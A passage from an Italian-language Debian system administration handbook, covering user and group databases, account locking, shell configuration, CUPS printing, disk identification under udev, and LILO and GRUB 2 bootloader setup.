programma eseguito dopo il login. Questo è generalmente un interprete dei comandi (shell), che dà all'utente carta bianca. Se viene specificato /bin/false (il quale non fa nulla e ritorna immediatamente il controllo), l'utente non può eseguire il login.

Come già detto, questo file si può modificare direttamente. Tuttavia ci sono modi più eleganti per modificarli, come descritto in Sezione 8.4.3, «Modificare un account o password esistente».

FONDAMENTALE Gruppo Unix

Un gruppo Unix è un'entità che include diversi utenti così che possano condividere facilmente file utilizzando il sistema di permessi integrato (avendo esattamente gli stessi privilegi). È anche possibile restringere l'uso di certi programmi ad un gruppo specifico.

8.4.2. Il file delle password nascoste e cifrate: /etc/shadow

Il file /etc/shadow contiene i seguenti campi:

login;

password cifrata;

diversi campi gestiscono la scadenza della password.

Con questo file è possibile far scadere le password od impostare dopo quanto tempo dalla scadenza della password l'account sarà disattivato .

SICUREZZA La sicurezza del file /etc/shadow

A differenza di /etc/passwd, il file /etc/shadow, non può essere letto dai normali utenti. Qualsiasi password cifrata contenuta in /etc/passwd è leggibile da chiunque: un malintenzionato potrebbe provare a forzare (o rivelare) una password attraverso diversi metodi a "forza bruta" che, molto semplicemente, provano le combinazioni di caratteri comunemente usate. Questo attacco — chiamato "attacco a dizionario" — non è più possibile sui sistemi che utilizzano /etc/shadow.

DOCUMENTAZIONE Formato dei file /etc/passwd, /etc/shadow e /etc/group

Questi formati sono documentati nelle seguenti pagine di manuale: passwd(5), shadow(5) e group(5).

8.4.3. Modificare un account o password esistente

I seguenti comandi permettono di modificare le informazioni memorizzate in campi specifici del database degli utenti: passwd permette ad un utente normale di cambiare la propria password, ed aggiorna il file /etc/shadow (chpasswd permette agli amministratori di aggiornare le password di un elenco di utenti in modalità batch); chfn (CHange Full Name), riservato al super-utente (root), modifica il campo GECOS. chsh (CHange SHell) permette all'utente di cambiare la propria shell di accesso; tuttavia, le scelte disponibili saranno limitate a quelle elencate in /etc/shells; l'amministratore, invece, non è vincolato da questa restrizione e può impostare la shell su qualsiasi programma di sua scelta.

Infine il comando chage (CHange AGE) consente all'amministratore di cambiare le impostazioni di scadenza della password (l'opzione -l utente elenca le impostazioni attuali). È possibile inoltre forzare la scandenza di una password utilizzando il comando passwd -e utente, il quale richiede all'utente di cambiare la password al prossimo accesso.

Oltre a questi strumenti, il comando usermod permette di modificare tutti i dettagli sopra menzionati.

8.4.4. Disabilitare un account

Può capitare di dover "disabilitare un account" (bloccare un utente) come misura disciplinare, ai fini di un'indagine o semplicemente in caso di assenza prolungata o definitiva di un utente. Un account disabilitato significa che l'utente non può effettuare il login o accedere alla macchina. L'account rimane intatto sulla macchina e non vengono eliminati file o dati; è semplicemente inaccessibile. Ciò si ottiene con il comando passwd -l utente (blocca). La riabilitazione dell'account avviene in modo simile, con l'opzione -u (sblocca). In questo modo, però, si impedisce solo l'accesso tramite password da parte dell'utente. L'utente potrebbe ancora essere in grado di accedere al sistema utilizzando una chiave SSH (se configurata). Per evitare anche questa possibilità è necessario far scadere l'account usando chage -E 1utente o usermod -e 1 utente (dando un valore di -1 in uno di questi comandi si reimposta la data di scadenza a mai). Per disabilitare (temporaneamente) tutti gli account utente basta creare il file /etc/nologin.

È possibile disabilitare un account utente non solo bloccandolo come descritto sopra, ma anche cambiando la sua shell di login predefinita (chsh -s shell utente). Se quest'ultima viene cambiata in /usr/sbin/nologin, l'utente riceve un messaggio di cortesia che lo informa che non è possibile effettuare il login, mentre /bin/false esce semplicemente restituendo false. Non esiste uno switch per ripristinare la shell precedente. È necessario tenere traccia di queste informazioni prima di modificare l'impostazione. Queste shell sono spesso utilizzate per gli utenti di sistema che non richiedono alcun accesso.

APPROFONDIMENTO NSS ed i database di sistema

Invece di usare i file tradizionali per gestire le liste di utenti e gruppi, è possibile utilizzare altre tipologie di database, come LDAP o db, utilizzando un modulo NSS (Name Service Switch) appropriato. I moduli utilizzati sono elencati nel file /etc/nsswitch.conf, alle voci passwd, shadow e group. Si veda la Sezione 11.7.3.1, «Configurare NSS» per un esempio specifico circa l'utilizzo di un modulo NSS per LDAP.

8.4.5. Lista dei gruppi: /etc/group

I gruppi sono elencati nel file /etc/group, un semplice database testuale in un formato simile a quello del file /etc/passwd, con i seguenti campi:

nome gruppo;

password (opzionale): Questa è utilizzata unicamente per aggiungersi ad un gruppo quando non si è un utente abituale (con i comandi newgrp o sg, si veda il riquadro FONDAMENTALE Lavorare con diversi gruppi);

gid: numero univoco di identificazione di un gruppo;

lista di membri: lista di nomi degli utenti che sono membri del gruppo, separati da virgole.

FONDAMENTALE Lavorare con diversi gruppi

Ogni utente può essere membro di molti gruppi: uno di questi sarà il suo "gruppo principale". Il gruppo principale di un utente è creato, per default, durante la configurazione iniziale. Inoltre, ogni file che un utente crea gli appartiene, così come viene assegnato al suo gruppo principale. Questo non è sempre auspicabile: per esempio, quando l'utente lavora in una directory condivisa da un gruppo diverso dal suo gruppo principale. In questo caso l'utente deve cambiare il proprio gruppo principale usando uno dei seguenti comandi: newgrp che avvia una nuova shell oppure sg che semplicemente esegue comandi usando il gruppo alternativo fornito. Inoltre, questi comandi consentono ad un utente di unirsi ad un gruppo al quale non appartiene. Se il gruppo è protetto da password sarà necessario fornirla prima che il comando venga eseguito.

In alternativa, l'utente può impostare il bit setgid nella directory, così i file creati in questa directory saranno assegnati automaticamente al gruppo corretto. Per maggiori dettagli, si veda il riquadro SICUREZZA directory setgid e sticky bit.

Il comando id visualizza lo stato corrente dell'utente: l'identificativo personale (variabile uid), il gruppo principale attuale (variabile gid) e la lista dei gruppi ai quali appartiene (variabile groups).

I comandi addgroup e delgroup, rispettivamente, aggiungono o rimuovono un gruppo. Il comando groupmod modifica le informazioni di un gruppo (il suo gid o identificativo). Il comando gpasswd gruppo cambia la password per il gruppo mentre il comando gpasswd -r gruppo la cancella.

SUGGERIMENTO getent

Il comando getent ("get entries", ottieni le voci) controlla i database di sistema secondo le modalità standard, usando le funzioni di libreria appropriate, che richiamano i moduli NSS configurati nel file /etc/nsswitch.conf. Il comando accetta uno o due argomenti: il nome del database da controllare ed una chiave di ricerca opzionale. In questo modo il comando getent passwd rhertzog fornirà informazioni dal database utenti riguardanti l'utente rhertzog.

8.5. Creare account

Una delle prime azioni che un amministratore deve fare quando configura una nuova macchina è creare gli account utente. Questo è tipicamente realizzato utilizzando il comando adduser che accetta come argomento un nome utente per il nuovo utente che deve essere creato.

Il comando adduser presenta alcune domande prima di creare l'account ma il suo utilizzo è piuttosto intuitivo. Il suo file di configurazione, /etc/adduser.conf, include tutte le impostazioni interessanti: può essere usato per impostare automaticamente una quota per ogni nuovo utente creando un modello di utente o per cambiare la posizione degli account utente. Quest'ultima impostazione è raramente utile ma diventa pratica quando per esempio si ha un grande numero di utenti e si desidera dividere i loro account in dischi differenti. Inoltre è possibile scegliere una diversa shell predefinita.

FONDAMENTALE Quota

Il termine "quota" si riferisce ad un limite sulle risorse della macchina che un utente è autorizzato ad impegnare. Generalmente è riferito allo spazio su disco.

La creazione di un account popola la directory home dell'utente con i contenuti del modello /etc/skel/. Quest'ultimo fornisce all'utente un insieme di directory e file di configurazione standard.

In alcuni casi, diventa utile aggiungere un utente ad un gruppo (oltre al suo gruppo "principale" predefinito) per garantirgli permessi addizionali. Per esempio, un utente incluso nel gruppo audio può avere accesso ai dispositivi audio (vedi riquadro FONDAMENTALE Permessi di accesso ai dispositivi). Per farlo si può utilizzare un comando come adduser utente gruppo.

FONDAMENTALE Permessi di accesso ai dispositivi

Ogni dispositivo di periferica hardware è rappresentato su Unix con un file speciale, generalmente conservato nel file system all'interno di /dev/ (DEVice). Esistono due tipi di file speciali in base alla natura del dispositivo: in modalità a caratteri ed in modalità a blocchi. Ogni modalità consente solo un numero limitato di operazioni. La modalità a caratteri limita l'interazione con le operazioni di lettura/scrittura mentre la modalità a blocchi consente anche la ricerca dei dati disponibili. Infine, ogni file speciale è associato a due numeri ("maggiore" e "minore") che identificano il dispositivo nel kernel in modo univoco. Questo tipo di file, creato dal comando mknod, contiene semplicemente un nome simbolico (e più pratico).

I permessi di un file speciale mappano ai permessi necessari per accedere al dispositivo stesso. Così, un file come /dev/mixer, che rappresenta il mixer audio, concede i permessi di lettura e scrittura solo all'utente root ed ai membri del gruppo audio. Solo questi utenti possono azionare il mixer audio.

Da notare che la combinazione di udev e policykit può aggiungere ulteriori permessi per consentire agli utenti fisicamente connessi alla console (non attraverso la rete) di avere accesso a determinato dispositivi.

8.6. Ambiente shell

Gli interpreti dei comandi (o shell) possono essere il primo punto di contatto dell'utente con il computer, e devono quindi essere piuttosto amichevoli. Molti usano script di inizializzazione che consentono la configurazione del loro comportamento (completamento automatico, testo del prompt, ecc.).

bash, la shell standard, usa lo script di inizializzazione /etc/bash.bashrc per shell "interattive" e /etc/profile per le shell di "login".

In termini semplici, una shell di login è invocata quando si esegue il login alla console localmente o da remoto usando ssh, oppure eseguendo il comando esplicito bash --login. Che si tratti di una shell di login oppure no, una shell può essere interattiva (per esempio in un terminale tipo xterm) o non interattiva (quando si esegue uno script).

SCOPERTA Altre shell, altri script

Ogni interprete dei comandi ha una specifica sintassi e propri file di configurazione. Così, zsh usa i file in /etc/zsh/; tcsh usa /etc/csh.cshrc, /etc/csh.login e /etc/csh.logout. Le rispettive pagine del manuale documentano i file utilizzati.

Per bash è utile installare e attivare il "completamento automatico". Il pacchetto bash-completion contiene questi completamenti per i programmi più comuni e solitamente è abilitato se il file di configurazione .bashrc dell'utente era stato copiato da /etc/skel/.bashrc. In alternativa può essere abilitato tramite /etc/bash.bashrc (semplicemente togliendo il commento a poche righe) o /etc/profile.

FONDAMENTALE Completamento automatico

Molti interpreti dei comandi forniscono funzionalità di completamento che consentono alla shell di completare automaticamente il nome di comandi parzialmente digitati quando l'utente usa il tasto Tab. Così gli utenti possono lavorare in modo più efficiente e sono meno soggetti ad errori.

Questa funzione è molto potente e flessibile. È possibile configurare il suo comportamento in base ad ogni comando. Così, il primo argomento che segue apt sarà proposto secondo la sintassi di questo comando, anche se non corrisponde a nessun file (in questo caso è possibile scegliere tra install (installa), remove (rimuovi), upgrade (aggiorna), ecc.).

FONDAMENTALE Il carattere tilde, una scorciatoia per HOME

Il carattere tilde è spesso usato per indicare la directory dove punta la variabile d'ambiente HOME (è la directory home dell'utente, come /home/rhertzog/). Gli interpreti dei comandi realizzano automaticamente la sostituzione: ~/hello.txt diviene /home/rhertzog/hello.txt.

Il carattere tilde consente inoltre di accedere alla directory home di un altro utente. Così ~rmas/bonjour.txt è sinonimo di /home/rmas/bonjour.txt.

Oltre a questi script comuni, ogni utente può creare i propri ~/.bashrc e ~/.bash_profile per configurare la propria shell. La modifica più comune riguarda l'aggiunta di alias: sono parole che vengono automaticamente sostituite con l'esecuzione di un comando per rendere più veloce il lancio di tale comando. Per esempio, si può creare l'alias la per il comando ls -la | less, così si dovrà digitare semplicemente la per ispezionare i contenuti di una directory in dettaglio. Notare che la shell necessita di essere reinizializzata dopo aver aggiunto un alias, ad esempio avviando una nuova shell.

FONDAMENTALE Variabili d'ambiente

Le variabili d'ambiente consentono la memorizzazione di impostazioni globali per la shell o per vari altri programmi utilizzati. Sono contestuali (ogni processo ha il suo insieme di variabili d'ambiente) ma ereditabili. Quest'ultima caratteristica offre la possibilità per una shell di login di dichiarare variabili che poi saranno passate a tutti i programmi che esegue.

L'impostazione di variabili d'ambiente predefinite è un elemento importante della configurazione della shell. Tralasciando le variabili specifiche di una shell, è preferibile inserire le variabili di sistema nel file /etc/environment, poiché è utilizzato dai programmi che possono avviare una sessione di shell. Le variabili tipicamente definite in questo file includono ORGANIZATION, che di solito contiene il nome dell'azienda o dell'organizzazione e HTTP_PROXY, che indica l'esistenza ed i dati di un proxy HTTP. Altre opzioni includono l'impostazione di variabili a livello di sistema tramite gli script in /etc/profile.d o di variabili a livello di sessione tramite .pam_environment o .profile, dove il secondo può sovrascrivere qualsiasi definizione contenuta nel primo. Il file /etc/default/locale è destinato a contenere le variabili d'ambiente relative alla localizzazione del sistema.

SUGGERIMENTO Tutte le shell configurate allo stesso modo

Spesso gli utenti vogliono configurare le loro shell, di login ed interattive, nello stesso modo. Per fare ciò, scelgono di interpretare (o "riportare") il contenuto di ~/.bashrc nel file ~/.bash_profile. Tuttavia, il file ~/.profile predefinito è già ~/.bashrc e non è più necessario creare ~/.bash_profile per questo scopo, a meno che non si voglia personalizzare ulteriormente la propria shell (vedere bash(1) per quali file vengono letti da bash per le shell di login). È anche possibile fare la stessa cosa con i file comuni a tutti gli utenti (richiamando /etc/bash.bashrc da /etc/profile, cosa che ora avviene per impostazione predefinita).

8.7. Configurazione della stampante

La configurazione della stampante ha generato molti mal di testa sia agli amministratori che agli utenti. Oggi questi grattacapi sono, per la maggior parte, un ricordo del passato grazie a CUPS, il server di stampa gratuito che utilizza IPP, l'Internet Printing Protocol.

Debian distribuisce CUPS suddiviso in diversi pacchetti. Il cuore del sistema è lo schedulatore, cupsd, che è contenuto nel pacchetto cups-daemon. cups-client contiene programmi di utilità per interagire con il server cupsd. lpadmin è probabilmente l'utilità più importante, dato che è cruciale per configurare una stampante, ma sono presenti anche funzioni per disabilitare o abilitare una coda di stampa, vedere o cancellare lavori di stampa e visualizzare o impostare le opzioni di stampa. L'infrastruttura CUPS è basata sul sistema di stampa di System V, ma esiste un pacchetto di compatibilità, cups-bsd, che permette di usare i comandi come lpr, lpq e lprm dal sistema di stampa BSD tradizionale.

COMUNITÀ CUPS

CUPS è un progetto ed un marchio registrato di Apple, Inc. Prima dell'acquisizione da parte di Apple era conosciuto come Common Unix Printing System.

→ https://www.cups.org/

Lo schedulatore gestisce i lavori di stampa e questi lavori passano tramite un sistema di filtraggio per produrre un file che la stampante sarà in grado di capire e di stampare. Il sistema di filtraggio è contenuto nei pacchetti cups-filters e printer-driver-*. CUPS, in combinazione con questi pacchetti, è la base del sistema di stampa di Debian.

Le stampanti moderne prodotte e vendute negli ultimi dici anni sono quasi sempre compatibili con AirPrint e con CUPS e cups-filters; su Debian Bullseye è disponibile tutto ciò che è necessario per sfruttare queste funzionalità sulla rete. In sostanza queste sono stampanti IPP e si adattano alla perfezione ad un sistema di stampa senza driver, riducendo il sistema a CUPS più cups-filters. È possibile fare a meno di un pacchetto di driver per la stampante e non è più necessario il software di stampa non libero di fornitori come Canon e Brother. Una stampante collegata tramite USB può sfruttare i vantaggi di una stampante moderna tramite il pacchetto ippusbxd.

Il comando apt install cups installerà CUPS e i filtri. Installerà anche il pacchetto raccomandato printer-driver-gutenprint per fornire un driver per una vasta gamma di stampanti, ma, a meno che la stampante sia usata senza driver, un driver di stampa alternativo potrebbe essere necessario per il dispositivo specifico.

Il pacchetto cups-browsed, raccomandato da cups-daemon, sarà disponibile per le code di stampa del sistema e di rete; le stampanti moderne potranno essere rilevate e configurate automaticamente tramite le loro trasmissioni DNS-SD (Bonjour). Le stampanti USB dovranno essere configurate manualmente come descritto nel paragrafo successivo.

Il sistema di stampa è facilmente amministrato attraverso un'interfaccia web accessibile all'indirizzo locale http://localhost:631/. I membri del gruppo lpadmin possono aggiungere e rimuovere stampanti USB e di rete amministrando la maggior parte delle loro opzioni. Tali attività possono essere eseguite anche tramite l'interfaccia grafica fornita da un ambiente desktop o dall'interfaccia grafica system-config-printer (dall'omonimo pacchetto Debian).

8.8. Configurare il bootloader

Probabilmente è già funzionante, ma è sempre meglio sapere come installare e configurare il bootloader nel caso venga rimosso dal Master Boot Record. Questo può avvenire dopo l'installazione di un altro sistema operativo, per esempio Windows. Ove necessario, le seguenti informazioni possono essere d'aiuto anche per modificare la configurazione del bootloader.

FONDAMENTALE Master boot record

Il Master Boot Record (MBR) occupa i primi 512 byte del primo disco rigido e rappresenta la prima cosa caricata dal BIOS per passare il controllo ad un programma in grado di lanciare il sistema operativo desiderato. Generalmente, il bootloader viene installato nell'MBR, rimuovendo il suo contenuto precedente.

8.8.1. Identificare i dischi

CULTURA udev e /dev/

La directory /dev/ ospita tradizionalmente i file cosiddetti "speciali", usati per rappresentare le periferiche del sistema (si veda il riquadro FONDAMENTALE Permessi di accesso ai dispositivi). Fino a poco tempo fa, era usato per contenere tutti i file speciali che potevano essere utilizzati. Questo approccio ha avuto una serie di dinconvenienti tra cui il fatto che restringeva il numero di dispositivi che si potevano utilizzare (a causa della lista dei nomi fissa), e che era impossibile sapere quali file speciali erano effettivamente utili.

Al giorno d'oggi, la gestione dei file speciali è completamente dinamica e corrisponde meglio alla natura hot-swap (collegati a caldo) dei dispositivi informatici. Il kernel collabora con udev (Sezione 9.11.3, «Come funziona udev») per crearli e cancellarli secondo le necessità quando i dispositivi corrispondenti vengono collegati o scollegati. Per questo motivo, /dev/ non ha bisogno di essere persistente ed è quindi un filesystem in RAM che inizialmente è vuoto e contiene solo le voci rilevanti.

Il kernel comunica molte informazioni su ogni nuovo dispositivo aggiunto e fornisce una coppia di numeri maggiore/minore per identificarlo. Con quest'ultimi udevd può creare il file speciale con il nome ed i permessi desiderati. Può anche creare alias ed eseguire azioni aggiuntive (come attività di inizializzazione o registrazione). Il comportamento di udevd è guidato da un ampio insieme di regole (personalizzabili) che si trovano solitamente in /lib/udev/rules.d/ e /etc/udev/rules.d/.

Con nomi assegnati dinamicamente, è possibile quindi mantenere lo stesso nome per un dato dispositivo, indipendentemente dal connettore utilizzato o dall'ordine di connessione, che è particolarmente utile quando si utilizzano varie periferiche USB. La prima partizione del primo disco rigido può quindi essere chiamato /dev/sda1 per retro compatibilità, o /dev/root-partition se si preferisce, o addirittura entrambi al stesso tempo dato che udevd può essere configurato per creare automaticamente un link simbolico.

In passato, alcuni moduli del kernel venivano caricati automaticamente quando si cercava di accedere al file della periferica corrispondente. Oggi non è più così, non esiste nessun file speciale adibito al caricamento di un modulo; ciò non è un problema, poiché la maggior parte dei moduli viene caricata all'avvio grazie al rilevamento automatico dell'hardware. Purtroppo questo non funziona per le periferiche non rilevabili (come le vecchie unità floppy o i mouse PS/2). Si può forzare il caricamento all'avvio dei moduli aggiungendo floppy, psmouse e mousedev a /etc/modules o /etc/modules-load.d/.

La configurazione del bootloader deve identificare i diversi dischi rigidi e le rispettive partizioni. Linux usa speciali file "a blocchi" conservati nella directory /dev/, per questo scopo. Sin da Debian Squeeze, lo schema dei nomi degli dischi è stato unificato con il kernel Linux, e tutti i dischi rigidi (IDE/PATA, SATA, SCSI, USB, IEEE 1394) sono ora rappresentati da /dev/sd*.

Ogni partizione è rappresentata dal suo numero sul disco che la ospita: per esempio /dev/sda1 è la prima partizione nel primo disco e /dev/sdb3 è la terza partizione nel secondo disco.

L'architettura PC (o "i386", compreso il cugino più giovane "amd64") è stata a lungo limitata dall'uso della tabella delle partizioni "MS-DOS", che permetteva solo quattro partizioni "primarie" per disco. Per superare la limitazione di questo schema, una di esse deve essere creata come partizione "estesa", così da contenere partizioni "secondarie" aggiuntive. Quest'ultime sono numerate a partire da 5. Così la prima partizione secondaria potrebbe essere /dev/sda5, seguita da /dev/sda6, etc.

Un'altra limitazione del formato della tabella di partizione MS-DOS è che permette solo dischi fino a 2Tb di dimensione, che sta diventando un vero problema con i dischi più recenti.

Un nuovo formato della tabella delle partizioni chiamato GPT (GUID Partition Table) allenta questi vincoli sul numero di partizioni (consente fino a 128 partizioni quando si utilizzano le impostazioni standard) e sulla dimensione dei dischi (fino a 8 ZiB, ovvero più di 8 miliardi di terabyte). Se intendete creare molte partizioni fisiche sullo stesso disco, durante il partizionamento del disco, sarà necessario assicurarsi di creare la tabella delle partizioni nel formato GPT.

SGUARDO VELOCEL'Identificatore Univoco Globale (GUID)

Con GPT il tipo di partizione è rappresentato come un identificatore univoco universale di 16 byte, noto come Globally Unique Identifier (GUID), che fa parte dello standard UEFI (vedere NOTA UEFI, un moderno sostituto del BIOS). Rispetto al codice esadecimale usato per determinare il tipo di partizione nel formato tabella MS-DOS, sarà difficile ricordare questi identificatori. Fortunatamente esistono elenchi con tutti gli ID utilizzabili per creare configurazioni di partizioni da impiegare con sfdisk o per preconfigurare l'installatore Debian.

→ https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs

Non è sempre facile ricordare quale disco è collegato a quale controller SATA o nella terza posizione nella catena SCSI, soprattutto perché la denominazione dei dischi rigidi collegati a caldo (che comprende tra l'altro la maggior parte dei dischi SATA e dei dischi esterni) può cambiare da un avvio all'altro. Fortunatamente, udev crea, oltre a /dev/sd*, dei collegamenti simbolici con un nome fisso, che possono essere utilizzati per identificare un disco rigido in modo non ambiguo. Questi collegamenti sono memorizzati in /dev/disk/by-id/. Ad esempio, su di una macchina con due dischi fisici, potremmo trovare quanto segue:

mirexpress:/dev/disk/by-id# ls -l total 0 lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1 lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1 [...] mirexpress:/dev/disk/by-id#

Notare che alcuni dischi sono elencati più volte (perché si comportano contemporaneamente come dischi ATA e SCSI), ma le informazioni rilevanti sono presenti principalmente nei numeri seriali e del modello dei dischi, mediante i quali è possibile individuare il file della periferica. Mentre i collegamenti presenti in /dev/disk/by-id/ sono creati usando il numero seriale del dispositivo e il percorso fisico, sono presenti collegamenti più pratici in, ad esempio, /dev/disk/by-label/ (basati sulle etichette impostate), /dev/disk/by-uuid/ (basati su identificativi univoci, che possono cambiare quando si riformatta un dispositivo con mkfs.* o mkswap), /dev/disk/by-path/ (basati sul percorso fisico più corto) e /dev/disk/by-partlabel/ e /dev/disk/by-partuuid/ (solo per partizioni con etichette GPT e i loro identificatori univoci). Se si utilizzano questi collegamenti, ad esempio in /etc/fstab, preferire sempre identificatori univoci rispetto alle etichette. Si possono anche ottenere e modificare queste informazioni per ogni partizione o dispositivo usando i comandi lsblk e blkid.

I file di configurazione d'esempio che si trovano nelle sezioni seguenti sono basati sulla stessa configurazione: un singolo disco SATA, dove la prima partizione è una vecchia installazione Windows e la seconda contiene Debian GNU/Linux.

ALTERNATIVA Il bootloader LILO

LILO (LInux LOader) è il bootloader più vecchio: solido ma grezzo. Scrive l'indirizzo fisico del kernel da lanciare nell'MBR, per questo ogni aggiornamento di LILO (o dei suoi file di configurazione) dev'essere seguito dal comando lilo. Dimenticarsi di farlo impedisce al sistema di avviarsi se il vecchio kernel è stato rimosso o sostituito dato che quello nuovo non sarà nella stessa posizione sul disco.

Il file di configurazione di LILO è /etc/lilo.conf: un file semplice per configurazioni standard è presentato nell'esempio che segue.

Esempio 8.4. File di configurazione di LILO

# Il disco dove LILO dev'essere installato. # Indicando il disco e non la partizione. # ordiniamo a LILO di installarsi nell'MBR. boot=/dev/sda # la partizione che contiene Debian root=/dev/sda2 # l'oggetto da caricare in via predefinita default=Linux # la più recente immagine kernel image=/vmlinuz label=Linux initrd=/initrd.img read-only # Vecchio kernel (in caso il nuovo kernel non parta) image=/vmlinuz.old label=LinuxOLD initrd=/initrd.img.old read-only optional # solo per il doppio avvio Linux/Windows other=/dev/sda1 label=Windows

Come richiesto dall'autore e manutentore di lilo, il bootloader è stato rimosso da Debian 11 Bullseye ed è improbabile che verrà reinserito.

8.8.2. Configurazione di GRUB 2

GRUB (GRand Unified Bootloader) è più recente. Non è necessario eseguirlo dopo ogni aggiornamento del kernel; GRUB sa leggere i filesystem e trovare da solo la posizione del kernel sul disco. Per installarlo nel MBR del primo disco, è sufficiente digitare grub-install /dev/sda. Questa operazione sovrascriverà l'MBR, quindi fate attenzione a non sovrascrivere la posizione sbagliata. È anche possibile installare GRUB in un record di avvio della partizione, ma bisogna tenere presente che di solito si tratta di un errore e che grub-install /dev/sda1 non ha lo stesso significato di grub-install /dev/sda.

NOTA Nomi dei dischi per GRUB

GRUB può identificare i dischi rigidi solo in base alle informazioni fornite dal BIOS. Il primo disco rilevato sarà (hd0), (hd1) il secondo ecc. Nella maggior parte dei casi, quest'ordine corrisponde esattamente all'ordine abituale dei dischi in Linux, ma possono verificarsi problemi quando si associano dischi SCSI e IDE. GRUB era solito memorizzare le corrispondenze rilevate nel file /boot/grub/device.map. Oggi aggira questo problema utilizzando gli UUID (universally unique identifier) o le etichette del file system quando genera grub.cfg. Tuttavia, il file della mappa dei dispositivi è ancora utile, poiché può essere usato quando l'ambiente corrente è diverso da quello di avvio. Se si trovano degli errori (perché si sa che il BIOS rileva le unità in un ordine diverso), correggerli manualmente ed eseguire di nuovo grub-install. Ci può aiutare grub-mkdevicemap che crea un file device.map da cui partire.

Le partizioni hanno inoltre un nome specifico in GRUB. Quando si usano partizioni "classiche" nel formato MS-DOS, la prima partizione nel primo disco è etichettata (hd0,msdos1), la seconda (hd0,msdos2), ecc.

La configurazione di GRUB 2 è memorizzata in /boot/grub/grub.cfg, ma questo file (in Debian) è generato da altri. Attenzione a non modificarlo a mano, perché tali modifiche locali andranno perse alla successiva esecuzione di update-grub (che può avvenire in seguito all'aggiornamento di vari pacchetti). Le modifiche più comuni del file /boot/grub/grub.cfg (per esempio, per aggiungere parametri alla riga di comando del kernel o per cambiare la durata di visualizzazione del menu) sono effettuate tramite le variabili in /etc/default/grub. Per aggiungere voci al menu, si può creare un file /boot/grub/custom.cfg oppure modificare il file /etc/grub.d/40_custom. Per configurazioni più complesse, si possono modificare i file in /etc/grub.d o aggiungerne altri; questi script dovrebbero restituire frammenti di configurazione, eventualmente facendo uso di programmi esterni. Questi script sono quelli che aggiornano l'elenco dei kernel da avviare: 10_linux prende in considerazione i kernel Linux installati; 20_linux_xen prende in considerazione i sistemi virtuali Xen e 30_os-prober aggiunge al menu altri sistemi operativi esistenti (Windows, OS X, Hurd), immagini del kernel ed opzioni di accesso al BIOS/EFI.

ATTENZIONE errore: simbolo `grub_*' non trovato

Una delle problematiche più frequentemente segnalate nell'uso di GRUB è dovuta all'errore error symbol 'grub_calloc' not found (errore: simbolo 'grub calloc' non trovato) che impedisce l'avvio del sistema. La maggior parte delle volte questo errore è causato dall'installazione di una versione aggiornata di GRUB che genera incompatibilità tra i nuovi moduli in /boot/grub e le vecchie informazioni presenti nel settore di avvio in cui il firmware salta quando si avvia il computer. Questo succede nei sistemi configurati per eseguire grub-install su un dispositivo destinazione che non è quello attualmente utilizzato dal firmware per avviare il sistema (ad esempio dopo aver sostituito i dischi od averli spostati - si può verificare il problema eseguendo dpkg-reconfigure grub-pc che mostrerà il dispositivo errato). Con il rilascio di Debian 11 Bullseye (la modifica era anche presente in Buster) il processo di aggiornamento verifica la presenza di questo problema e, se è il caso, termina restituendo un errore.

→ https://bugs.debian.org/bug=966575#95

Impostazione di grub-pc (2.02+dfsg1-20+deb10u4) ... /dev/disk/by-id/[...] non esiste, quindi non è possibile installare grub su di esso! È necessario correggere i dispositivi di installazione di GRUB prima di procedere: DEBIAN_FRONTEND=dialog dpkg --configure grub-pc dpkg --configura -a dpkg: errore nell'elaborazione del pacchetto grub-pc (--configure): installato il pacchetto grub-pc il sottoprocesso di script post-installazione ha restituito lo stato di uscita di errore 1

Per risolvere il problema e continuare la procedura di aggiornamento, basta seguire il consiglio ed eseguire i comandi indicati dal messaggio di errore come root.

8.8.3. Utilizzare GRUB con EFI e Secure Boot

È molto diverso usare GRUB per avviare un sistema BIOS tradizionale (vecchio o UEFI-CSM) o un sistema UEFI. Fortunatamente l'utente non ha la necessità di conoscere la differenza perché Debian fornisce pacchetti diversi per ogni scopo e l'installatore si prende cura automaticamente di quale(i) scegliere. Il pacchetto grub-pc è selezionato per i sistemi vecchi, nei quali GRUB è installato nell'MBR, mentre in sistemi UEFI è necessario grub-efi-arch, dove GRUB è installato nella ESP (EFI System Partition - Partizione di Sistema EFI). Quest'ultimo richiede una tabella di partizioni GTP e di una partizione EFI.

→ https://wiki.debian.org/Grub2#UEFI_vs_BIOS_boot

